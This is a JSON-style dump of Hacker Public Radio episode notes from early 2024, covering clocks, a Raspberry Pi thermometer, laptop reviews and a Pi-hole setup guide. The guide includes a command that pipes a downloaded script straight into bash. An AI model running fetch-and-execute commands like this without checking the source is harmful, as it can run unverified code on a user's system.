                                                            4025Fri2024-01-05Testing V languageCeleste
                                                            4026Mon2024-01-08Using NLP to get better answer options for language learningthompsgj
                                                            4027Tue2024-01-09Today I learnt (2023-12-18)Dave Morriss
                                                            4028Wed2024-01-10Passwords with a Pi Piconorrist
                                                            4029Thu2024-01-11The product.Some Guy On The Internet
                                                            4030Fri2024-01-12Playing Alpha Centauri, Part 4Ahuka
                                                            4031Mon2024-01-15ClaudioM's Laptops - Evoo EVC141-12BK ReviewClaudio Miranda
                                                            4032Tue2024-01-16Drive Casting: an opinion on advertisingSome Guy On The Internet
                                                            4033Wed2024-01-17Using playerctl to control media playersKen Fallon
                                                            4034Thu2024-01-18Sleep Tipsoperat0r
                                                            4035Fri2024-01-19Processing podcasts with soxnorrist
                                                            4036Mon2024-01-22The TildeverseClaudio Miranda
                                                            4037Tue2024-01-23What is Overlanding?Quvmoh
                                                            4038Wed2024-01-24Network Attach Storage Options I Use EverydayBeto
                                                            4039Thu2024-01-253 ways to keep up with Youtube Channelsnorrist
                                                            4040Fri2024-01-26Further Into FloridaAhuka
                                                            4041Mon2024-01-29Using grepcidr to find IPs in a netblockDeltaray
                                                            4042Tue2024-01-30Debugging directly in vimcrvs
                                                            4043Wed2024-01-31Uncommon Commands, Episode 1Deltaray
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 15 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 3 comments on\n3 previous shows:

                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 12 comments on 7 of this month's shows:

                                                            \n
                                                            • hpr4022\n(2024-01-02) \"dumping roms for fun and profit\"\nby Brian in Ohio.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-01-02:\n\"Great show, but audio clipping\"

                                                              \n
                                                            • hpr4023\n(2024-01-03) \"Information Transparency for world peace\"\nby Ne01sfree.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBeeza on 2024-01-05:\n\"Interesting ideas\"

                                                              \n
                                                            • hpr4024\n(2024-01-04) \"Experiences with Graphene OS and why I use it\"\nby enistello.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nCeleste on 2024-01-02:\n\"I've been using grapheneos too\"
                                                              • Comment 2:\nbrain-in-ohio on 2024-01-04:\n\"howto\"
                                                              • Comment 3:\nkdmurray on 2024-01-05:\n\"Thanks!\"

                                                              \n
                                                            • hpr4026\n(2024-01-08) \"Using NLP to get better answer options for language learning\"\nby thompsgj.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2024-01-10:\n\"Interesting Topic\"
                                                              • Comment 2:\nDave Morriss on 2024-01-14:\n\"Levenshtein distances\"

                                                              \n
                                                            • hpr4028\n(2024-01-10) \"Passwords with a Pi Pico\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2024-01-10:\n\"add-on\"
                                                              • Comment 2:\nStache_AF on 2024-01-10:\n\"Great Minds Think Alike\"

                                                              \n
                                                            • hpr4035\n(2024-01-19) \"Processing podcasts with sox\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ncrvs on 2024-01-22:\n\"Thanks for the tip!\"
                                                              • Comment 2:\ndnt on 2024-01-27:\n\"genrss and dropouts\"

                                                              \n
                                                            • hpr4038\n(2024-01-24) \"Network Attach Storage Options I Use Everyday\"\nby Beto.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudio on 2024-01-24:\n\"Very Informative Episode!\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2024-January/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Extreme shortage of shows!

                                                            \n
                                                              \n
                                                            • During January 2024 the number of pending shows in the queue and\nthose in the reserve queue shrank to an extremely low level. It looked\nas if there would be no show to release on an upcoming day, and there\nwas nothing waiting to be processed.

                                                            • \n
                                                            • This is the first time this has happened in many years - perhaps\nmore than 12 years.

                                                            • \n
                                                            • Ken put out a message to the HPR mailing list requesting shows.\nHe also sent personal messages to hosts asking for shows to be\nsubmitted.

                                                            • \n
                                                            • It was very heartening to see the response to these calls, and at\nthe time of writing (2024-02-03) there are shows for the entirety of\nFebruary.

                                                            • \n
                                                            • Thanks to everyone who stepped up to help with this emergency!\nHowever, we, the HPR Community, must not allow this to happen\nagain.

                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4047,"date":"2024-02-06","title":"Change your passwords once in a while","duration":938,"summary":"Deltaray provides compelling arguments for why you should change your passwords periodically","notes":"

                                                            Passphrase generating command:

                                                            \n
                                                            look . | grep -E \"^[a-z]{4,8}$\" | shuf | xargs -n4 | head
                                                            \n\n

                                                            Tony Hunt's have I been pwned website:

                                                            \nhttps://haveibeenpwned.com/\n\n

                                                            Some password managers that I can recommend:

                                                            \n
                                                              \n
                                                            • KeepassXC (offline password manager and fixes issues with KeepassX)
                                                            • \n
                                                            • Bitwarden (open source commercial option)
                                                            • \n
                                                            • 1Password (commercial, but well established and well vetted)
                                                            • \n
                                                            \n","hostid":194,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"passwords,security,cybersecurity,passphrases,password managers,advice","version":0,"downloads":0,"valid":1}, {"id":4048,"date":"2024-02-07","title":"Today I learnt: Ship’s Bells","duration":400,"summary":"A brief history and description of ship's bells for timekeeping","notes":"

                                                            Today I learnt: Ship’s Bells

                                                            \n

                                                            Ahoy thar maties. Eight bells and all’s well! (Spoken with an abysmal\npirate accent).

                                                            \n

                                                            Alright, enough of me poorly impersonating a pirate. As you may or\nmay not know, based on comments in one or more of my previous episodes,\nI dabble a bit in clock repair. Specifically, mechanical clocks, powered\nby springs or gravity. My grandfather was a clockmaker, and I remember\nsitting, as still and quietly as I could, in his shop watching him work.\nI was fascinated, but I could not ask any questions, make any noise, or\ntouch anything at risk of being told to leave. So, I learned very\nlittle, but it did plant a seed deep inside me which would flourish many\nyears after my grandfather passed away.

                                                            \n

                                                            I plan to do a series about mechanical clocks and some of my\nexperiences with clock repair in upcoming months. This has been\nsimmering on the back burner for quite a while as I debated if it would\nreally be of interest to hackers. My mind creates stories of listeners\nshouting “Oh for crying out loud! First six episodes about plumbing and\nnow clocks? Get to something interesting!” However, I am pressing on. If\nyou like this episode and want more in the series, please leave a\ncomment. If you would prefer other types of content on HPR, then skip\nthe rest of this episode and record one more suited to your desires or\ndetailing what you would like to hear and why.

                                                            \n

                                                            Also, you will probably hear the ticking (and maybe striking) of\nvarious different clocks in the background of this recording. My new\nhome office space is also the home for close to a dozen clocks in\nvarious states of repair. It is challenging to remove their sounds from\nthe recording, and given the subject matter of this series, I am not\neven going to try to remove them.

                                                            \n

                                                            Back to the topic. A couple of years ago, I purchased a very\ninexpensive box of assorted clocks and clock parts from a local seller.\nThese were in various states of disrepair. One item in the advertisement\nfor this box immediately caught my eye. It was a brass Urgos brand\n“Ship’s Bell” clock. This timepiece was literally dripping with oil, but\nseemed to be intact, and I started working on it. In a later podcast, I\nwill describe my approach to items like this and what is involved in\ninitially cleaning and evaluating them. Due to life challenges, it took\nme over a year to get this clock reassembled and working.

                                                            \n

                                                            With this clock, I learned that ship’s bells do not strike a normal\nhour count like traditional striking clocks. Instead, their strike\ndirectly relates to the time of an historic ship’s watch schedule.\nAccording to “The Ship’s Bell”, an article from Naval History and\nHeritage Command (https://www.history.navy.mil/browse-by-topic/heritage/customs-and-traditions0/the-ship-s-bell.html),\nearly shipboard timekeeping was done through the use of a half-hour\nglass. The job for one of the ship’s boys was to watch the glass, turn\nit when it ran out, and then strike the ship’s bell so all onboard would\nbe aware of the time every half hour.

                                                            \n

                                                            On sea vessels, various persons on duty “Keep watch” at, or around,\ntheir station. These include the “Lookout” who was constantly “watching”\nall around the ship to ensure there was no danger and to alert of any\nsightings of land or other vessels. (https://en.wikipedia.org/wiki/Watchkeeping )

                                                            \n

                                                            The ship’s bell had many other uses beyond timekeeping, and those are\ndescribed in detail in the previously mentioned Naval History article.\nWith all this bell ringing, patterns were developed. For timekeeping,\nthis basically broke down to a specific pattern of incrementing strikes\nevery half hour, throughout the ship’s watch. Each watch is a 4 hour\nlong shift, the first five of which are broken down as follows:

                                                            \n
                                                              \n
                                                            • First Watch, 8pm to Midnight (20:00 to 00:00 hours)
                                                            • \n
                                                            • Middle Watch, Midnight to 4am (00:00 to 04:00 hours)
                                                            • \n
                                                            • Morning Watch, 4am to 8am (04:00 to 08:00 hours)
                                                            • \n
                                                            • Forenoon Watch, 8am to Noon (08:00 to 12:00 hours)
                                                            • \n
                                                            • Afternoon Watch, Noon to 4pm (12:00 to 16:00 hours)
                                                            • \n
                                                            \n

                                                            The remaining 4 hours are broken up into two “Dog Watches”, but those\nare outside the scope of this discussion. You can learn more about these\ndetails in Tom Burden’s article titled “Ship’s Bell Time” and found at\nhttps://www.westmarine.com/west-advisor/Ships-Bell-Time.html

                                                            \n

                                                            Ship’s bell strikes increment every half hour. At the beginning/end\nof a 4-hour watch, the bell strikes 8 times, in groups of 2 strikes with\na tiny pause in between. Here is an example from my (now working) ship’s\nbell clock.

                                                            \n
                                                            {ding}{ding} pause {ding}{ding} pause {ding}{ding} pause {ding}{ding} pause
                                                            \n

                                                            One half hour into the watch, the ship’s bell will sound a single\nstrike

                                                            \n

                                                            One hour into the watch, the ship’s bell will sound two strikes

                                                            \n

                                                            An hour and an half into the watch, the ship’s bell will sound three\nstrikes in the following pattern:

                                                            \n
                                                            {ding}{ding} {pause} {ding}
                                                            \n

                                                            At the two hour mark, there will be four strikes, following that same\npattern:

                                                            \n
                                                            {ding}{ding} {pause} {ding}{ding}
                                                            \n

                                                            Etc… I will not list all of these, but you get the idea. Because the\nstrikes are paired in groups of two, an even number of strikes denotes\nthe top of the hour, and it is easy to count the number of pairs (1, 2,\n3, or 4). If the bells end in a single strike (odd number total), you\nknow it is the bottom of the hour.

                                                            \n

                                                            It seems strange at first, but it can be easily learned in a short\namount of time. And now, the phrase I used at the beginning of this\npodcast, “Eight bells and all’s well” should make sense. Eight bells\nindicates the end of the watch, and an individual on watch duty is\nstating that their shift is finished and there was nothing to\nreport.

                                                            \n

                                                            I hope that you have enjoyed this episode. Your feedback is\nencouraged, through comments and especially by recording your own HPR\nepisode.

                                                            \n

                                                            Have an awesome day!

                                                            \n","hostid":394,"series":123,"explicit":0,"license":"CC-BY-SA","tags":"ships bells, time, naval, clocks, timekeeping","version":0,"downloads":0,"valid":1}, {"id":4049,"date":"2024-02-08","title":"What's in my bag January 2024","duration":600,"summary":"I describe what I carry on a day to day basis","notes":"

                                                            I talk about what I currently carry in my bag, as well as some\nchanges to make in the future

                                                            \n","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"bag, apple, laptop","version":0,"downloads":0,"valid":1}, {"id":4050,"date":"2024-02-09","title":"Playing Alpha Centauri, Part 5","duration":1133,"summary":"Part 5 of tips on playing Alpha Centauri","notes":"

                                                            This continues our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Alpha Centauri","version":0,"downloads":0,"valid":1}, {"id":4051,"date":"2024-02-12","title":"MSI Gungnir 110R Review","duration":1338,"summary":"A review of the Gungnir 110R PC case by MSI","notes":"

                                                            \nKevie from the TuxJam\npodcast takes a look at the PC case offering from MSI called\nGungnir 110R.\n

                                                            \n

                                                            \nFollowing his search for a new case, Kevie went over the pros and cons\nof this particular model. The hope is that following this show you will\ndecide if this is a suitable case for you.\n

                                                            \n

                                                            \nIn true TuxJam fashion, the show includes a creative commons music\ntrack:\nCased -\nCased in a Shell\n

                                                            \n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"PC,Hardware,computer","version":0,"downloads":0,"valid":1}, {"id":4052,"date":"2024-02-13","title":"How I got in to Linux / Micro Edition","duration":304,"summary":"A slightly boring story of my introduction in to Linux ","notes":"

                                                            Just a really short show on how I got started in Linux back in the\nolden days.

                                                            \n","hostid":428,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, open source, creative commons","version":0,"downloads":0,"valid":1}, {"id":4053,"date":"2024-02-14","title":"Third Party Integrations","duration":703,"summary":"Connecting your application with others","notes":"\n","hostid":403,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"api, programming","version":0,"downloads":0,"valid":1}, {"id":4054,"date":"2024-02-15","title":"CyberPunk 2077","duration":417,"summary":"My experience playing CyberPunk 2077","notes":"

                                                            I love the story-based games and experiences. CyberPunk 2077 is based\nin the future, and you will be following this bounty hunter and their\nstruggles to make a difference in Night City.

                                                            \n

                                                            Links

                                                            \n\n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"games, story, experience","version":0,"downloads":0,"valid":1}, {"id":4055,"date":"2024-02-16","title":"Four agalmic AI applications to protect you from greedy corporations","duration":1148,"summary":"4 open source AI apps to protect you from BigTech: Fawkes, Glaze, Nightshade, Agalmic organizations","notes":"

                                                            4 AI applications I learned about today.

                                                            \n
                                                              \n
                                                            • Fawkes: an application that can protect you from facial recognition\nsoftware. It's named for Guy Fawkes, the face of hackers that call\nthemselves Anonymous.\n
                                                                \n
                                                              • page https://sandlab.cs.uchicago.edu/fawkes/
                                                              • \n
                                                              • code https://github.com/Shawn-Shan/fawkes
                                                              • \n
                                                            • \n
                                                            • Glaze: a digital artwork hardening application to protect artists\nfrom deep fakes\n
                                                                \n
                                                              • code https://github.com/EspacioLatente/Glaze
                                                              • \n
                                                              • paper https://people.cs.uchicago.edu/~ravenben/publications/pdf/glaze-usenix23.pdf
                                                              • \n
                                                              • Mist: (image to image instead of text to image) page: https://mist-project.github.io/index_en.html
                                                              • \n
                                                            • \n
                                                            • Nightshade: a blue pill for anyone that tries to steal your digital\ncreations.\n
                                                                \n
                                                              • paper: https://arxiv.org/pdf/2310.13828.pdf
                                                              • \n
                                                              • nightshade detector code: https://github.com/RichardAragon/NightshadeAntidote
                                                              • \n
                                                            • \n
                                                            • Agalmic organizations: the future of AI facilitating cooperation and\nsharing of intellectual property and knowledge
                                                            • \n
                                                            \n","hostid":424,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"AI, NLP, open source, image watermarking, facial recognition, post scarcity, economics, copyrights, ","version":0,"downloads":0,"valid":1}, {"id":4056,"date":"2024-02-19","title":"Helping with back pain","duration":567,"summary":"My experience using the CopperFit Advanced Back Pro","notes":"

                                                            For years Kevie, a co-host of TuxJam, has suffered from lower back pain, and for the first time he's discovered something that actually helps. Hear his thoughts on the Advanced Back Pro: Back Support Belt by Copper Fit.

                                                            \n

                                                            The track included on this show is Blackpaper - Triple Paf

                                                            \n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"aches, sore back, back support","version":0,"downloads":0,"valid":1}, {"id":4057,"date":"2024-02-20","title":"Raspberry Pi and astro imaging","duration":1855,"summary":"On how to build a cheap astro imager using a raspberry pi","notes":"

                                                            As I mentioned back in HPR 3857 \"Yesterday I saw a flare\" I have put together a way to take images and video through my telescopes, and more. You can do so too for under £100, assuming you have your own telescope, or add on another £40 for a nice lens for the HQ camera instead of a telescope.

                                                            \n\n

                                                            Items mentioned during this recording include:

                                                            \n\n\n

                                                            Here are some images I took with the above kit:

                                                            \n\n

                                                            The Sun in Hα using a Coronado PST solar telescope. 50 or so stacked with exposures of 20ms for the disk and one 100ms to pick out the outer, coronal features.

                                                            \n\"The\n\n

                                                            Jupiter using stacked images from a Meade ETX-90EC showing its spot and the moons Ganymede, Io and Europa.

                                                            \n\n

                                                            \"Jupiter
                                                            Click the image for the full-sized version

                                                            \n\n

                                                            Star trails using the C/CS mount lens. The bright white and red blobs are due to my headtorch and during the end fog rolled in and coated the observatory in ice in under fifteen minutes!

                                                            \n\n

                                                            \"Star
                                                            Click the image for the full-sized version

                                                            \n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"astronomy,telescope,camera,raspberrypi","version":0,"downloads":0,"valid":1}, {"id":4058,"date":"2024-02-21","title":"Radio Thermometer","duration":321,"summary":"Stache talks about building a thing to solve an issue at work","notes":"
                                                            \n# If you ever want to make this code better, please do\n# but for the love of God, please save this code first.\n# It is written in circuitpython to prevent the need\n# to compile code, and the RFM69 does not work with\n# micropython.\n\nimport board\nimport analogio\nimport digitalio\nfrom time import sleep\nimport math\nimport adafruit_rfm69\nimport busio\n\nRoomNum = 10 # What room number is this in\nSenderRoom = 10 # What room number reports to the receiver\nRoomQuant = 12 # How many rooms are there\nRecAddr = 254 # What's the address of the receiver\nRadio_Freq_Mhz = 915.0 # What's the frequency of the radio\nRetryAmount = 3 # How many times to retry sending the packet\nmin_okay = 12493 # Approx 20 deg C\nmax_okay = 9571 # Approx 26 deg C\nled = digitalio.DigitalInOut(board.GP25) # Onboard LED\nled.direction = digitalio.Direction.OUTPUT\nCS = digitalio.DigitalInOut(board.GP13) # Pin 17\nCS.direction = digitalio.Direction.OUTPUT\nRESET = digitalio.DigitalInOut(board.GP6) # Pin 9\nRESET.direction = digitalio.Direction.OUTPUT\nSCK = board.GP10 # Pin 14\nMOSI = board.GP11 # Pin 15\nMISO = board.GP12 # Pin 16\nspi = busio.SPI(SCK, MOSI, MISO)\nrfm69 = adafruit_rfm69.RFM69(spi, CS, RESET, Radio_Freq_Mhz, baudrate=1000000)\n#rfm69.reset()\nrfm69.xmit_timeout = 10.0\n#rfm69.freq_mhz = Radio_Freq_Mhz\nrfm69.tx_power = 20\nrfm69.node = RoomNum\nrfm69.destination = RecAddr\n#rfm69.encryption_key = (b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\n\nadcpin = board.GP26 # Pin 31\nthermistor = analogio.AnalogIn(adcpin)\n\nresend_time = 1\n\ndef ask_all(radio):\n    send_packet = ''\n    temp_list = []\n    room_packet = ''\n    for a in range(RoomQuant):\n        temp_list.append('')\n    for b in range(RoomQuant):\n        digitnum = str(b + 1)\n        if len(digitnum) == 1:\n            digitnum = '0' + str(b + 1)\n        if not int(digitnum) == RoomNum:\n            radio.send(bytes('query','utf-8'), destination = int(digitnum))\n            sleep(.5)\n            room_packet = radio.receive(timeout = 1.0)\n            if room_packet == None:\n                room_packet = str('0')\n        else:\n            room_packet = temp_retrieve()\n        temp_list[b] = digitnum+room_packet\n    for c in range(RoomQuant):\n        send_packet = send_packet + temp_list[c]\n    return send_packet\n\ndef temp_retrieve():\n    #Voltage dividor\n    Vin = 3.3 # Pin 35\n    Ro = 7500 # 10k resistor 10000 was initial setting, changed for calibration\n\n    #Steinhart constants\n    A = 0.00110683\n    B = 0.000238464\n    C = 0.00000006507394\n\n    # Get voltage value from ADC\n    adc = thermistor.value\n    print(adc)\n    Vout = (Vin/65535)*adc\n\n    # Calculate resistance\n    Rt = round((Vout * Ro) / (Vin - Vout),0)\n    # Rt = 10000 # Used for testing. Setting Rt to 10k equates approx 25C\n\n    # Steinhart - Hart equation\n    TempK = 1 / (A + (B * math.log(Rt)) + C * math.pow(math.log(Rt), 3))\n\n    # Convert from K to C\n    TempC = TempK - 273.15\n    TempF = (TempC * (9/5)) + 32\n    print(Rt, TempC, TempF)\n    return temp_check(Rt)\n\ndef temp_check(digis):\n    if digis < max_okay:\n        return '1'\n    elif digis >= max_okay and digis < min_okay:\n        return '2'\n    elif digis >= min_okay:\n        return '3'\n\ntemp_retrieve()\nwhile True:\n    led.value = True\n    if SenderRoom == RoomNum:\n        tx_packet = ask_all(rfm69)\n        print(tx_packet)\n        for x in range(RetryAmount):\n            rfm69.send(bytes(tx_packet, 'utf-8'))\n            sleep(5)\n    else:\n        rx_packet = rfm69.receive(timeout = 10, keep_listening = False)\n        if not rx_packet == None:\n            tx_packet = temp_retrieve()\n            print(tx_packet)\n    sleep(.2)\n    led.value = False\n
                                                            \n\n

                                                            \"Schematic\"
                                                            Click the image for the full-sized version

                                                            \n\n

                                                            \"PCB

                                                            \n

                                                            \"PCB

                                                            \n","hostid":408,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"Hobby electronics, circuit python","version":0,"downloads":0,"valid":1}, {"id":4059,"date":"2024-02-22","title":"the southern cross","duration":745,"summary":"another retro computer","notes":"

                                                            intro

                                                            \n
                                                              \n
                                                            • trying to keep hpr going
                                                            • \n
                                                            • encourage people not to be content is better than quality
                                                            • \n
                                                            • last show audio
                                                            • \n
                                                            \n

                                                            southern cross brief history

                                                            \n
                                                              \n
                                                            • talking electronics TEC-1, 1983, i think it was influenced by\nkim-1 although the kim-1 was released by MOS the 6502 designers in 1976\nas a way to get people using the 6502 processor. TEC-1 was designed\nspecifically to get the ordinary bloke involved with computers.

                                                            • \n
                                                            • Cris Jones
                                                              \nhttps://github.com/crsjones/Southern-Cross-Computer-z80
                                                              \nhttps://youtu.be/AK2FOw1ilg0?si=KX0ocEpk_fV6x-ry
                                                              \nI developed the Z80 Southern Cross Computer for Hong Kong based Kitsrus\nin 1992/93. The kit was based on the TEC-1 Computer that was designed by\nJohn Hardy and Ken Stone in 1983 and appeared in Australia's Talking\nElectronics Magazine Issue 10 March 1983.

                                                            • \n
                                                            • Kitsrus distributed the kit into the US and the UK and was sold\nonline from Hong Kong.

                                                            • \n
                                                            • The Southern Cross Computer appeared in Australia's Silicon Chip\nMagazine in the August 1993 edition

                                                            • \n
                                                            \n

                                                            my southern cross

                                                            \n
                                                              \n
                                                            • i found this southern cross on ebay. its revision 3, and it came\nassembled.
                                                            • \n
                                                            • description
                                                              \nthis is easier to program, still hand assembled machine code, but\nencourages building bit banged serial interface
                                                              \ngood documentation at the github page
                                                              \neasy to interface too, plenty of projects out there
                                                            • \n
                                                            \n

                                                            outro

                                                            \n\n

                                                            Southern Cross
                                                            \n

                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hobby electronics, retrocomputing, z80","version":0,"downloads":0,"valid":1}, {"id":4060,"date":"2024-02-23","title":"Florida to Georgia","duration":741,"summary":"We wrap up our Florida adventure and move up to Georgia.","notes":"

                                                            We finish up our visit to Kennedy Space Center with one more day at\nthe Center. Then we spend a few days at St. Augustine before leaving\nFlorida and moving up north to Savannah, Georgia

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"RV, travel, southeast US, Florida, Georgia","version":0,"downloads":0,"valid":1}, {"id":4061,"date":"2024-02-26","title":"Setup a Pi-hole","duration":1391,"summary":"Setting an ad blocker and extra security using a Raspberry Pi with Pi-hole","notes":"

                                                            Kevie, a co-host of TuxJam, talks about setting up a Raspberry Pi as a network wide ad and domain blocker using the Pi-hole project.

                                                            \n

                                                            Before starting this project you will need:

                                                            \n
                                                              \n
                                                            • A Raspberry Pi with Raspberry Pi OS installed and SSH enabled
                                                            • \n
                                                            • A basic knowledge of changing the settings on your router. I can't talk you through this as every router is different. Specifically you need to know how to give a device a static IP address and set a DNS server
                                                            • \n
                                                            • The ability to use SSH
                                                            • \n
                                                            \n

                                                            Once we have SSH'd into the Pi the first thing we should do is update it:

                                                            \n
                                                            sudo apt update && sudo apt upgrade -y
                                                            \n

                                                            Then we need to install the Pi-hole software itself. We can do this with the command:

                                                            \n
                                                            curl -sSL https://install.pi-hole.net | bash
                                                            \n

                                                            This will start an installation wizard

                                                            \n

                                                            Once this has completed, it is recommended that you set a new admin password:

                                                            \n
                                                            pihole -a -p
                                                            \n

                                                            Exit the Pi and go to the admin web page by entering {the_IP_of_your_Pi}/admin in your browser's address bar.

                                                            \n

                                                            Click on Adlist on the left side and you should see 2 input boxes. The address is where we can enter our adlist, the comment box is purely optional. Go to firebog.net/ Choose one or two from each category, but make sure that these are active (the ones in green).

                                                            \n

                                                            Add the following two addresses to Adlist if you wish to block pornographic site:

                                                            \n
                                                              \n
                                                            • https://raw.githubusercontent.com/Sinfonietta/hostfiles/master/pornography-hosts
                                                            • \n
                                                            • https://raw.githubusercontent.com/StevenBlack/hosts/master/alternates/porn/hosts
                                                            • \n
                                                            \n

                                                            For a list of specific types of sites to block then visit https://blocklistproject.github.io/Lists/

                                                            \n

                                                            If using Cloudflare, you can add another pornography filter. Click on Settings on the left and then the DNS tab at the top. In Custom 1 (IPv4) enter the value 1.1.1.3, make sure that it is ticked.

                                                            \n

                                                            If there is a specific site that you want to block then click on Domains in the menu on the left and add the domain. If you want to block it, then click Blacklist or if Pi-hole is blocking a site that you want to access then click on Whitelist.

                                                            \n

                                                            Before we exit we must apply these changes or they will not take effect. On the left click on tools and then Update Gravity from the drop down menu. Press the Update button (it will take a couple of minutes to complete). You must do this every time that you make a change. Any time you add a new Adlist, Domain, Whitelist or Blacklist, it will not take effect until you do this.

                                                            \n

                                                            Go to your Router's homepage, set the DNS server to the IP address of the Pi. This means that all traffic will run through the Pi-hole. Don't forget to hit apply if necessary before exiting.

                                                            \n

                                                            One final task: reboot your router. This will force every device to reconnect and everything will be running through the Pi-hole.

                                                            \n\n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"security, adverts, filters, home network, router","version":0,"downloads":0,"valid":1}, {"id":4062,"date":"2024-02-27","title":"HPR Music Series? - How will it go for the girl and me?","duration":1043,"summary":"Fred Black Pitches an idea for a Series of music being shared, and teaches a tune","notes":"

                                                            Fred Black teaches a tune called \"Hur ska det gå för jänta och mig\",\nwhich translates to \"How will it go for the girl and me\"

                                                            \n

                                                            It was played on a Nyckelharpa, or Key\nfiddle, and the key is G major

                                                            \n","hostid":422,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Music","version":0,"downloads":0,"valid":1}, {"id":4063,"date":"2024-02-28","title":"Re: ChatGPT Output is not compatible with CC-BY-SA ","duration":1601,"summary":"A response to hpr3983, in which Ken argued that shows using chatGPT output can't be posted to HPR","notes":"

                                                            dnt offers an opinion on Ken's show about ChatGPT content being\nincompatible with the CC-BY-SA license. I don't disagree that it is\nincompatible, but I don't think it means a show containing chatGPT\noutput can't be licensed under CC-BY-SA and posted on HPR, because not\nonly is the host not able to place any restrictions over the chatGPT\noutput, but rather no one is.

                                                            \n

                                                            References, in order of\nappearance:

                                                            \n
                                                              \n
                                                            • https://hackerpublicradio.org/eps/hpr3983/index.html
                                                            • \n
                                                            • https://web.archive.org/web/20240124235805/https://www.forbes.com/sites/joemckendrick/2022/12/21/who-ultimately-owns-content-generated-by-chatgpt-and-other-ai-platforms/?sh=343906bc5423
                                                            • \n
                                                            • https://web.archive.org/web/20231108090650/https://openai.com/policies/usage-policies
                                                            • \n
                                                            • https://web.archive.org/web/20240118231615/https://www.govinfo.gov/content/pkg/FR-2023-03-16/pdf/2023-05321.pdf
                                                            • \n
                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"chatgpt, copyright","version":0,"downloads":0,"valid":1}, {"id":4064,"date":"2024-02-29","title":"Large Language Models","duration":758,"summary":"What are they good for?","notes":"

                                                            In this episode I talk about different machine learning models and\ntheir application and what I think is good about the situation we have\nnow and where I think we will end up in the future if we aren't\ncareful

                                                            \n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"machine learning, large language models","version":0,"downloads":0,"valid":1}, {"id":4065,"date":"2024-03-01","title":"Framework 13 (13th gen Intel) review","duration":1157,"summary":"I give a review of the Framework 13 laptop (13th gen Intel). The review is very positive.","notes":"

                                                            Framework 13 (13th\ngen Intel edition) Review

                                                            \n

                                                            General Takeaways

                                                            \n
                                                              \n
                                                            • Overall very good
                                                            • \n
                                                            • Hackable
                                                            • \n
                                                            • Good build quality
                                                            • \n
                                                            • Good keyboard
                                                            • \n
                                                            • Good screen
                                                            • \n
                                                            • Okay webcam and microphone
                                                            • \n
                                                            • A bit noisy fan, but not obnoxious
                                                            • \n
                                                            • Good performance
                                                            • \n
                                                            • Good OS compatibility
                                                            • \n
                                                            • Okay trackpad
                                                            • \n
                                                            • Great portability
                                                            • \n
                                                            • I love the expandability the expansion cards provide.
                                                            • \n
                                                            • USB-C everywhere!
                                                            • \n
                                                            \nPossible\nCons for people looking into it (non-issues for me)\n
                                                              \n
                                                            • Expansion cards can be difficult to remove, so those who struggle\nwith those kinds of things beware.
                                                            • \n
                                                            • No touchscreen options for the laptop.
                                                            • \n
                                                            • No OLED screen options.
                                                            • \n
                                                            • No hot-swappable battery
                                                            • \n
                                                            • The Ethernet expansion card is bulky
                                                            • \n
                                                            \n

                                                            Other suggestions

                                                            \n

                                                            I didn't mention this while recording (sorry), but if the Framework\n13 isn't enough laptop, the Framework 16 is releasing very soon\nas of writing and recording this (As of Feb 09 2024) and is open for\npre-order now. The Framework 16 includes a replaceable GPU along with\nmore expansion and a larger screen. This should provide a better gaming\nexperience and more power.

                                                            \nLinks\nto find more info on the Framework 13 laptop (Along with other\nreviews)\n
                                                              \n
                                                            • Framework's\nWebsite for the Framework 13
                                                            • \n
                                                            • Phoronix's\nReview of the Framework 13 AMD Edition
                                                            • \n
                                                            • PCMag's\nreview of the Framework 13 Intel Edition
                                                            • \n
